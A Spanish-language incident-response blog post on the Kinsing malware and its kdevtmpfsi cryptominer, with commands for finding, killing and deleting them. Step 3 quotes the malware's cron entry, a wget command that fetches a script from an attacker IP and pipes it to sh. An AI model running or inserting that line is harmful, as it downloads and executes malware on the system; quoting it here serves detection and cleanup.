Recientemente se ha descubierto un malware para linux (aunque también parece que últimamente está atacando sistemas windows) que usan vulnerabilidades de docker o de postgreSQL para infectar y reproducirse y que a su vez despliega un minero de criptomonedas en el entorno infectado. Uno de nuestros equipos, al que no le habíamos aplicado seguridad fue atacado y afortunadamente nos dimos cuenta del ataque gracias a que el servicio postgreSQL caía constantemente.

Conoce al enemigo

Una vez se ha instalado este malware, Kinsing ejecuta en el contenedor infectado un minero de criptomonedas y luego intenta expandirse apuntando tanto a contenedores como a hosts.

Todos los ataques observados tienen el mismo punto de entrada, y la única diferencia entre ellos es la dirección IP desde la que se descarga un script de shell inicial. Hasta la fecha, los investigadores de seguridad identificaron tres direcciones IP diferentes.

El script de shell fue diseñado para deshabilitar las medidas de seguridad y borrar los registros, así como para eliminar el malware rival y los mineros criptográficos eliminando sus aplicaciones, eliminando archivos asociados y terminando cualquier contenedor Docker malicioso rival en ejecución y eliminando sus imágenes.

Además, el script descarga el malware Kinsing y lo ejecuta, logra la persistencia a través del crontab y busca comandos adicionales que se ejecutan en cron para eliminarlos (incluido el suyo).

Kinsing, basado en Linux, está escrito en Golang. Tras la ejecución, intenta comunicarse con sus servidores de comando y control (C&C) en Europa del Este.

Aqua Security descubrió lo que parecen ser servidores dedicados para cada función del malware, como la comunicación C&C, la descarga de un script de propagación y la descarga de un criptominero.

El script de shell utilizado para extenderse por la red de contenedores recopila pasivamente datos de /.ssh/config, .bash_history, /.ssh/known_hosts y similares, luego intenta conectarse a cada host utilizando todas las combinaciones posibles de usuario y clave a través de SSH.

El criptominero entregado como parte de este ataque se llama kdevtmpfsi y fue diseñado para extraer Bitcoin. Primero se conecta a un host mediante una solicitud de inicio de sesión a través de HTTP para recibir instrucciones adicionales y luego comienza la operación de minería.

Aqua Security concluye «Este ataque se destaca como un ejemplo más de la creciente amenaza para los entornos nativos de la nube. Con las implementaciones cada vez más grandes y el uso de contenedores en aumento, los atacantes están mejorando su juego y organizando ataques más ambiciosos, con un nivel cada vez mayor de sofisticación».

Para conocer en detalle lo que está haciendo el malware, ya que seguramente irán apareciendo diferentes versiones, podemos utilizar Sysdig: https://github.com/draios/sysdig/wiki/How-to-Install-Sysdig-for-Linux

Paso 0: Investigación

Antes de nada vamos a usar unos cuantos comandos para encontrar hasta dónde ha llegado:

netstat -tputw # lista conexiones salientes
lsof -i | grep less
pstree -ps $PID

Paso 1: Parar la ejecución del malware

Mata los dos procesos (kdevtmpfsi y kinsing -Pueden estar en el mismo nombre pero con caracteres aleatorios al final-) usando htop, pkill o cualquier otro administrador de procesos

pkill -9 -f kdevtmpfsi*
pkill -9 -f kinsing*

Paso 2: Eliminarlos del disco

find / -iname kdevtmpfsi* -exec rm -fv {} \;
find / -iname kinsing* -exec rm -fv {} \;

La salida debería ser algo como:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

Paso 3: Buscar los cron jobs:

compruebe si hay un trabajo cron que reinicializaría el malware, puede estar en: /var/spool/cron/apache. y que incluya algo parecido a esto :

* * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Puedes usar algo parecido para encontrar

crontab -l -u <username>
cat /var/spool/cron/crontabs/

Conclusiones

  • Mantén el puerto de la base de datos abierto solo para máquinas de confianza.
  • Cambia el puerto predeterminado ya que son los que suelen atacar.
  • solo permitir acceso externo cuando sea estrictamente necesario
  • strace y lsof son comandos útiles a tener en cuenta para depurar desde un nivel de sistema, especialmente para procesos desconocidos o que no son de confianza.
  • Desinstalar curl y wget o mejor aún mantenerlo instalado pero deshabilitarlo si no se usa
  • Habilitar ufw

Mirar más pasos en https://dev.to/sanchitsharma/investigation-into-postgres-malware-hack-2ai0